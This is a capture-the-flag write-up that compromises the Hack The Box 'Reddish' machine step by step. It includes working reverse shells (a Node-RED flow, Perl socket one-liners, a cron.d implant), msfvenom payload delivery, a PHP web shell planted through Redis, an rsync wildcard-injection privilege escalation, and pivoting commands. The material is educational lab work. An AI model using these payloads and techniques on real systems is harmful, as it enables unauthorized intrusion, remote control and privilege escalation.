Writeup: Hack The Box - Machines - Reddish

Description

  • Name: Reddish
  • IP: 10.10.10.94
  • Author: yuntao
  • Difficulty: 8/10

Discovery

nmap -sV -sC -Pn -p 1-65535 --min-rate 1000 --max-retries 5 10.10.10.94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=12/24%OT=1880%CT=1%CU=36670%PV=Y%DS=2%DC=T%G=Y%TM=5C20
OS:FC3A%P=x86_64-unknown-linux-gnu)SEQ(SP=FE%GCD=1%ISR=109%TI=Z%II=I%TS=8)S
OS:EQ(SP=FE%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54BST1
OS:1NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=71
OS:20%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=3F%W=7210%O=M5
OS:4BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4
OS:(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%
OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

From gobuster:

1
2
3
4
5
http://10.10.10.94:1880/icons (Status: 301)
http://10.10.10.94:1880/red (Status: 301)
http://10.10.10.94:1880/red/images (Status: 301)
http://10.10.10.94:1880/red/about (Status: 200)
http://10.10.10.94:1880/vendor (Status: 301)

From nikto:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
---------------------------------------------------------------------------
+ Target IP: 10.10.10.94
+ Target Hostname: 10.10.10.94
+ Target Port: 1880
+ Start Time: 2018-12-11 09:30:05 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ Server leaks inodes via ETags, header found with file /favicon.ico, fields: 0xW/423e 0x1632cb8ed78
+ Allowed HTTP Methods: POST
+ 7500 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2018-12-11 09:36:07 (GMT1) (362 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Pwn

The target web-server on port 1880 is not configured to use GET (nikto listed only POST method):

With a POST request the server responds with an id and path key (the id is different from each reboot):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http POST http://10.10.10.94:1880

HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 86
Content-Type: application/json; charset=utf-8
Date: Sun, 16 Dec 2018 15:10:35 GMT
ETag: W/"56-joAMhror+1d2+Z6Z553A/FFSJ7I"
X-Powered-By: Express

{
"id": "a482df6bbb192aea703be2169b2f931a",
"ip": "::ffff:10.10.15.44",
"path": "/red/{id}"
}

Following the URL http://10.10.10.94:1880/red/a482df6bbb192aea703be2169b2f931a a node-red application is presented to the user. Node-RED is a programming tool for wiring together hardware devices, APIs and on-line services using drag-and-drop.

Since the tool allows creating TCP sockets and connections it’s possible to instantiate a reverse shell using a pre-configured JSON config

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[
{ "id": "7235b2e6.4cdb9c", "type": "tab", "label": "Flow 1" },
{
"id": "d03f1ac0.886c28",
"type": "tcp out",
"z": "7235b2e6.4cdb9c",
"host": "",
"port": "",
"beserver": "reply",
"base64": false,
"end": false,
"name": "",
"x": 786,
"y": 350,
"wires": []
},
{
"id": "c14a4b00.271d28",
"type": "tcp in",
"z": "7235b2e6.4cdb9c",
"name": "",
"server": "client",
"host": "10.10.XX.XX",
"port": "3488",
"datamode": "stream",
"datatype": "buffer",
"newline": "",
"topic": "",
"base64": false,
"x": 281,
"y": 337,
"wires": [["4750d7cd.3c6e88"]]
},
{
"id": "4750d7cd.3c6e88",
"type": "exec",
"z": "7235b2e6.4cdb9c",
"command": "",
"addpay": true,
"append": "",
"useSpawn": "false",
"timer": "",
"oldrc": false,
"name": "",
"x": 517,
"y": 362.5,
"wires": [["d03f1ac0.886c28"], ["d03f1ac0.886c28"], ["d03f1ac0.886c28"]]
}
]

Open a listener with nc -lvp 3488; import the JSON with the menu on the right and then import, Clipboard and the click Deploy. A shell should pop up:

To upgrade the reverse shell to a meterpreter session:

  • msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=3487 -f elf -o dodo.exe
  • msfconsole -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set LPORT 3487; run -j"
  • base64 -w0 dodo.exe

On the target machine drop the meterpreter ELF:

echo -n <base64fromabove> | base64 -d > dodo.exe; chmod +x ./dodo.exe; ./dodo.exe

The exploited machine is a container without any useful information except for the list of network interfaces and subnets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
meterpreter > ipconfig

Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0


Interface 7
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:02
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.18.0.2
IPv4 Netmask : 255.255.0.0


Interface 17
============
Name : eth1
Hardware MAC : 02:42:ac:13:00:04
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.19.0.4
IPv4 Netmask : 255.255.0.0

To confirm that the session is inside a container: run post/linux/gather/checkcontainer.

To start pivoting on both networks the routes should be added using run post/multi/manage/autoroute. First of all a port scan is useful to discover and scan all other machines in the subnet.

This phase requires a lot of time so run -j can be used to make this activity asynchronous. After a while the port scan returns:

1
2
3
[+] 172.19.0.2:           - 172.19.0.2:80 - TCP OPEN
[+] 172.19.0.3: - 172.19.0.3:6379 - TCP OPEN
[+] 172.19.0.4: - 172.19.0.4:1880 - TCP OPEN (this is the current container)

autoroute is not enough to access these containers, a port forwarding is required (IPs change at every reboot):

1
2
portfwd add -l 6379 -r 172.19.0.3 -p 6379
portfwd add -l 8080 -r 172.19.0.2 -p 80

Now the Redis and the Apache server can be accessed on localhost. A scan on those ports returns some detailed informations:

1
2
3
4
5
PORT     STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.10 ((Debian))

PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9

Redis server can be queried on localhost via redis-cli (shipped with the default Redis installation).

The default Apache welcome page is improved with some JavaScript code to push visitor’s hits on the Redis DB.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$(document).ready(function() {
incrCounter();
getData();
});

function getData() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("Number of hits:", data);
},
error: function() {}
});
}

function incrCounter() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("HITS incremented:", data);
},
error: function() {}
});
}

/*
* TODO
*
* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...
*/
function backupDatabase() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
cache: false,
dataType: "text",
success: function(data) {
console.log("Database saved:", data);
},
error: function() {}
});
}

Since the back-end is using PHP to collect hits data it should be clear that Redis should be exploited to create a RCE.

redis-cli can be used to upload a web shell since Redis can be exploited to run commands: https://dl.packetstormsecurity.net/1511-exploits/redis-exec.txt.

1
2
3
4
echo "CONFIG SET dir /var/www/html" | redis-cli
echo "CONFIG SET dbfilename dosh.php" | redis-cli
echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli
echo "BGSAVE" | redis-cli

Now the web-shell is usable from http://localhost:8080/dosh.php?cmd=id; since PHP is installed should be possible to create another meterpreter session from the Apache container.

The garbage of the output is due to the Redis DB file format.

The container with Apache (and the one with Redis) are not allowed to connect back to the attacker machine but only to the first container (Node-RED), so the attacker needs to pivot all traffic through this machine.

Metasploit offers the possibility to run a SOCKS proxy (both v4 and v5); this proxy can be used with proxychains to access the subnets from the meterpreter session. For example is possible to run nmap from another terminal using proxychains nmap -sP 172.19.0.* (to get a list of on-line IPs).

After some trial and error the best way to create a reverse shell is to use socat as proxy on the Node-RED container to forward all the traffic from Apache container to the attacker machine; however the socat binary is not present on the victim machine but it’s possible to upload it via meterpreter from https://github.com/andrew-d/static-binaries.

./socat tcp4-listen:3455,reuseaddr,fork tcp4:10.10.XX.XX:8456

This command spawns a listener on port 3455; the traffic coming from this port is forwarded to the remote attacker host on port 8456 (the attacker is listening using nc -lvp 8456). To execute a reverse shell on the remote Apache machine a simple command to connect back is not enough since the connection is killed after the command execution. To create a “persistent” connection the attacker should create a multi-stage shell: drop the command/script on the remote machine and then execute it.

The user running Apache is www-data and can write files only in the /var/www/html/f187a0ec71ce99642e4f0afbd441a68b folder so the attacker should drop the reverse shell script in this folder, add the execution permission bit and the run it.

To automate the shell upload is possible to use proxychains to execute a simple script:

1
2
3
4
5
6
7
8
9
10
11
12
echo "FLUSHALL" | redis-cli -h 172.19.0.3
echo "CONFIG SET dir /var/www/html" | redis-cli -h 172.19.0.3
echo "CONFIG SET dbfilename dosh.php" | redis-cli -h 172.19.0.3
echo "SET PAYLOAD \"<?php echo shell_exec(\$_GET['cmd']); ?>\"" | redis-cli -h 172.19.0.3
echo "BGSAVE" | redis-cli -h 172.19.0.3

# Create a revere shell connector in Perl
pshell=$(echo "perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | base64 -w0)

# Upload, add +x and execute the remote shell
# HTTPie automatically url-encode the parameters if using "=="
http GET "http://172.19.0.2/dosh.php" "cmd==echo -n ${pshell} | base64 -d > ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; chmod +x ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl" | cat --

Now a shell is popped:

Heading to the /home folder to search for the first flag:

The user.txt file is not readable from www-data but it possible to find a way to privesc to root. On cron folders there is a backup entry that execute, as root, /backup/backup.sh every 3 minutes:

*/3 * * * * root sh /backup/backup.sh

The backup script is using rsync to restore the content of /var/www/html folder (this script destroys the uploaded shell but not the running process):

1
2
3
4
5
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

rsync can be exploit to execute arbitrary command if used with the wildcard * (similar to the tar privesc):

1
2
3
4
echo "cp /bin/bash /tmp/dodosh" > test.rdb
echo "chmod +x /tmp/dodosh" >> test.rdb
echo "chmod +s /tmp/dodosh" >> test.rdb
echo "" > "-e sh test.rdb"

These commands create a file called test.rdb (to match the wildcard) that will copy the bash binary to /tmp; add the execution bit and then make the ELF SUID. This script should create a SUID runnable shell owned by root.

After a while the bash ELF is copied in /tmp and can be used to run it as root (./dodosh -p):

With a root shell is possible to read the first flag in /home/somaro/user.txt.

The Apache container has two interfaces:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ip addr show

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1
valid_lft forever preferred_lft forever

The subnet 172.19.0.2 is the one used to communicate with the Redis server; the subnet 172.20.0.2 is used by the backup script rsync from backup host: 172.20.0.3 (port 873, default port).

On the Apache container there is no root.txt so the system flag should be in the last container backup. Using rsync is possible to download the filesystem of the remote host:

rsync -a --progress --max-size='5k' --min-size="1k" rsync://backup:873/src/ .

To filter only the system flag the command allows to set a minimum and maximum size for the transferred files.

On the remote host there is no system flag but using rsync is possible to get a shell and then start an in-depth analysis of the backup container.

Using rsync an attacker can upload arbitrary files on the remote host so creating a simple cron file it’s possible to get a reverse shell:

On the Apache container:

echo '* * * * * root perl -e '"'"'use Socket;$i="172.20.0.2";$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"'' > dorev

This command execute a connection to the Apache host via the “backup” subnet. To get a reverse shell the attacker also need the ncat ELF that can be imported using the base64 encoding (same as the meterpreter ELF).

1
2
3
4
5
echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAkilAAAAAAABAAAAAAAAAAHh0LAAAAAAAAAAAAEAAOAAD' > ncat.b64
echo 'AEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA1DcrAAAAAADUNysAAAAAAAAA' >> ncat.b64
echo 'IAAAAAAAAQAAAAYAAADYNysAAAAAANg3iwAAAAAA2DeLAAAAAAAYPAEAAAAAABCwAQAAAAAAAAAg' >> ncat.b64
echo 'AAAAAABR5XRkBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAA' >> ncat.b64
[..]

To upload the cron script:

rsync -a --progress ./dorev rsync://backup:873/src/etc/cron.d/dorev

Once the connection is triggered from backup the shell is spawned but, again, no system flag.

Analysing the filesystem and the location of device files in /dev is possible to see that many volumes are available to be mounted:

Mounting /dev/sda1 on /mnt the system flag is readable: